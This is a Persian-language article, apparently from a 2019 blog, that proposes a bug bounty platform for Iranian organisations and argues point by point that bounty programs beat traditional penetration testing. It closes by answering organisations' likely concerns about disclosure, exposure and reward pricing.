یک راه ارتباطی یک‌طرفه برای دریافت آسیب‌پذیری، بدون ارائه هیچ تضمینی برای همکاری با هکر کلاه‌سفید دارند.تعریف سامانه باگ‌بانتیاین سامانه به عنوان یک واسطه بین هکرهای کلاه سفید و سازمان‌ها و شرکت‌های دولتی و خصوصی عمل می‌کند. این سامانه دو گروه مخاطب خواهد داشت، گروه اول سازمان‌ها و شرکت‌هایی هستند که می‌خواهند بخشی یا تمام ابزارها و سرویس‌های خود را در معرض ارزیابی متخصصین قرار دهند.گروه دوم هکرهای کلاه سفید که با اهداف مختلفی از جمله کسب درآمد مناسب، به چالش کشیدن تخصص خود، کسب شهرت و غیره در سامانه ثبت نام خواهند کرد.در خصوص سامانه پیش‌روی، چند نمونه بسیار موفق خارجی وجود دارد که مهمترین آن‌ها hackerone.com و bugcrowd.com می‌باشد. در حال حاضر شرکت‌ها و سازمان‌های بزرگی در آمریکا از خدمات hackerone.com بهره می‌برند که از بین آن‌ها می‌توان به وزارت دفاع آمریکا، Yahoo و Twitter اشاره کرد.همچنین لازم به ذکر است که این سامانه حتما بنباید به صورت یک Third Party وارد عمل شود، بلکه می‌تواند درون یک شرکت یا سازمان شکل بگیرد. برای مثلا، همراه اول می‌تواند با راه‌اندازی این سامانه فقط برای خود، نظر هکرهای کلاه‌سفید را به‌خود جلب کند.مقایسه برنامه بانتی و روش سنتی آزمون نفوذوجود یک سامانه‌ Bug Bounty مزایای بسیاری نسبت به آزمون نفوذ سنتی دارد. مهم‌ترین ویژگی آن‌ تبدیل هکرهای کلاه خاکستری و حتی در برخی موارد هکرهای کلاه سیاه به هکرهای کلاه سفید یا به عبارت دیگر ورود هکرها به یک چرخه مولد است. به عنوان نمونه برخی از ویژگی‌های این سامانه به شرح زیر است: مورد ۱) هزینه در روش سنتی آزمون نفوذ نسبت به برنامه بانتی بسیار بالا می‌باشد، قراردادهای آزمون نفوذ عموما مشروط به کشف آسیب‌پذیری نمی‌باشد، درصورتی که در برنامه بانتی، به ازار هر آسیب‌پذیری، بعد از تائید کارفرما و صدور وصله امنیتی، وجه توافقی پرداخت می‌شود. مورد ۲) دانش در پروژه آزمون نفوذ، محدود به سقف دانش اعضای پروژه می‌باشد. در صورتی که در برنامه بانتی، طیف وسیعی از هکران با دانش‌های مختلف، بر روی سامانه مورد آزمون، از دانش خود برای کشف آسیب‌پذیری بهره‌مند می‌شوند.مورد ۳) منابع انسانی در پروژه آزمون سنتی، محدود به افراد خاص، مشخص شده در قرارداد و وابسته به مبلغ آن می‌باشد. در صورتی که در برنامه بانتی، منابع انسانی نامحدود می‌باشد، البته این امر در کنترل سازمان مورد آزمون قرار گرفته می‌باشد.مورد ۴) سرعت کشف ‌آسیب‌پذیری در پروژه آزمون نفوذ سنتی، به سرعت افراد، میزان درگیری زمانی/ذهنی آن‌ها در پروژه‌های موازی وابسته است، به همین دلیل آسیب‌پذیری‌ها همیشه با انجام اولین آزمون نفوذ کشف نمی‌گردند. بسیاری از سامانه‌ها، بعد از چندید بار آزمون نفوذ سنتی،‌ آسیب‌پذیری جدید کشف می‌گردد که گواه سرعت پایین کشف آسیب‌پذیری در روش سنتی می‌باشد. در برنامه بانتی، به دلیل شرکت منابع انسانی نامحدود، این مورد به شدت تسریع می‌گردد.مورد ۵) در پروژه آزمون نفوذ سنتی،‌ نظارت بر پیمان‌کار کاری بسیار دشوار و غیر قابل انجام می‌باشد. عموما مستندات آزمون نفوذ، معیار اصلی برای تخمین کیفیت کار پیمان‌کار می‌باشد. در سامانه بانتی، به دلیل خودجوش بودن هکرها و عدم صرف هزینه اولیه از سوی کارفرما، دلیلی بر نظارت وجود ندارد.مورد ۶) در آزمون نفوذ سنتی، به دلیل وجود منابع مالی/انسانی محدود، معمولا تمام سامانه‌ها مورد آزمون قرار نمی‌گیرند، تنها سامانه‌های حساس در اولویت می‌باشند، این خود ضعف در سازمان‌های مختلف حساب می‌شود،‌ زیرا در مقوله نفوذ به یک سازمان، حساسی سامانه اولویتی برای یک هکر نداشته، و بسیاری از سازمان‌ها، از سامانه‌های غیر حساس و فراموش‌شده خود آسیب می‌بینند. در سامانه بانتی، یک سازمان می‌تواند تمام سامانه‌های خود را در معرض آزمون گذاشته و فقط برای سامانه‌های حساس مبلغ جایزه در نظر بگیرد. اینکه چرا هکر بر روی سامانه‌های غیرپولی وقت می‌گذارد، به چرخه سیستم سامانه برمی‌گردد.مورد ۷) مدت در قراردادهای سنتی، محدود می‌باشد و معمولا بسیاری از سازمان‌ها به صورت ادواری قراردادهای خود را با پیمان‌کاران تمدید می‌کنند. در صورت وجود آسیب‌پذیری در میان فاصله زمانی بین انعقاد دوقرارداد، ضرر متوجه سازمان می‌گردد. در برنامه بانتی، زمان آزمون به‌صورت خیلی آسان قابل تمدید می‌باشد.مورد ۸) در آزمون نفوذ سنتی، کارشناسان می‌توانند آسیب‌پذیری کشف شده را گزارش نکنند. زیرا هیچ سازوکار بازدارنده برای آن‌ها وجود ندارد (اصولا امکان نظارت این بخش وجود ندارد). زیرا کارشناس در نهایت اظهار در عدم توانایی در کشف آسیب‌پذیری را دارد. در سامانه بانتی، هکر بدون فوت وقت، آسیب‌پذیری را گزارش می‌کند، زیرا اولا انگیزه مالی برای انجام این امر دارد، ثانیا ممکن است هکری دیگر این آسیب‌پذیری را گزارش کند، و علاوه بر رفع شدن آسیب‌پذیری، امتیازی به ایشان نرسد.مورد ۹) در آزمون نفوذ سنتی، انگیزه کارشناسان قابل اندازه‌گیری نمی‌باشد. بسیاری از کارشناسان ممکن است برای رفع تکلیف آزمون را انجام دهند و تلاشی برای کشف آسیب‌پذیری نکنند. در سامانه بانتی، هکر برای پیشرفت مالی/کاربری در سامانه، حداکثر تلاش خود را برای انجام آزمون انجام می‌دهد.پیش‌بینی دغدغه و نگرانی احتمالی سازمان‌ها و شرکت‌هاسوال) آیا هکران آسیب‌پذیری را گزارش می‌کنند؟ اگر آسیب‌پذیری کشف شده را گزارش نکرده و با آن به سامانه نفوذ کنند چه می‌شود؟ این یک نگرش غلط جا افتاده می‌باشد، اتفاقا در سامانه بانتی در قیاس با آزمون نفوذ سنتی، این اتفاق به ندرت می‌افتد. در آزمون نفوذ سنتی، یک کارشناس به راحتی می‌تواند یک آسیب‌پذیری را گزارش نداده، و در وقتی دیگر، از آن به‌صورت ناشناس سو استفاده کند. دلایل:هکرهایی که آسیب‌پذیری را گزارش نمی‌دهند و به سو استفاده می‌پردازند، کلاه سیاه‌هایی هستند که هم اکنون هم فعالیت دارند و نیازی به وجود چنین سامانه‌هایی برای انجام فعالیت‌های مخرب خود ندارند.عدم گزارش آسیب‌پذیری توسط یک هکر ایشان را در معرض مخاطره رقابت قرار می‌دهد، چرا که ممکن است هکری دیگر همزمان با او به این آسیب‌پذیری رسیده باشد و آن را گزارش کرده و محبوبیت و وجه را از سازمان مربوطه دریافت کند. بنابراین طبق تجربه ما در همکاری با نمونه‌های Bug Bounty خارجی، هر هکر پس از کشف آسیب‌پذیری تمام تلاش خود را برای سریع‌تر گزارش کردن آن می‌کند.در جوامع هکری زیرزمینی یا اصطلاحاً در بازار سیاه هکرهای زیر زمینی، بسیاری از آسیب‌پذیری‌های کشف شده از سامانه‌های دولتی و بانک‌ها را می‌توان مشاهده کرد که هکرهای کلاه سیاه به دنبال فروش آن هستند، وجود یک سامانه‌ Bug Bounty قطعاً به حیات این بازارهای زیرزمینی ضربه خواهد زد.سوال) آیا با در معرض گذاشتن سامانه خود، این پیغام را به هکران نمی‌دهیم که سامانه ما مهم است؟ یا به عبارتی دیگر، وقتی مورد آزمون قرار بگیریم، هکران کلاه سیاه به دنبال می نمی‌آیند؟ در جواب این سوال باید گفت‌، سازمان‌هایی که چنین دغدغه‌ای دارند، می‌توانند برنامه خود را به‌صورت خصوصی برگزار کنند، هرچند که جواب خیر است، در واقع برعکس نگرانی پیش آمده، سازمان می‌تواند به مشتری‌های خود این اطمینان را بدهد که برای اطلاعات آنها ارزش قائل است.سوال) نحوه محاسبه قیمت برای سازمان‌ها چگونه است؟اما در خصوص شیوه محاسبه قیمت پیشنهادی آسیب‌پذیری‌ها هر سازمان مختار است تا برای سطوح مختلف آسیب‌پذیری یا حتی برای هر نوع از آسیب‌پذیری کشف شده بر روی سامانه پیشنهادی متناسب با بودجه خود مبلغی را پیشنهاد دهد. به این ترتیب:سازمان‌هایی که پول بیشتری بابت هر آسیب‌پذیری پرداخت کنند مورد توجه تعداد بیشتری از هکرها بوده و آسیب‌پذیری احتمالی آن‌ها قاعدتاً زودتر گزارش می‌شود.سازمان‌هایی که پول کمتری پرداخت کرده و یا حتی به صورت رایگان عضو شده‌اند نیز با توجه به عملکرد سامانه، مورد توجه هکرهای کم تجربه‌تر یا تازه واردتر قرار می‌گیرند.سازمان‌ها تنها زمانی پول پرداخت خواهند کرد که آسیب‌پذیری‌هایی از انواع مورد نظر خودشان گزارش شود. مموری لیک YShahinzadeh Fri, 24 May 2019 17:26:11 +0430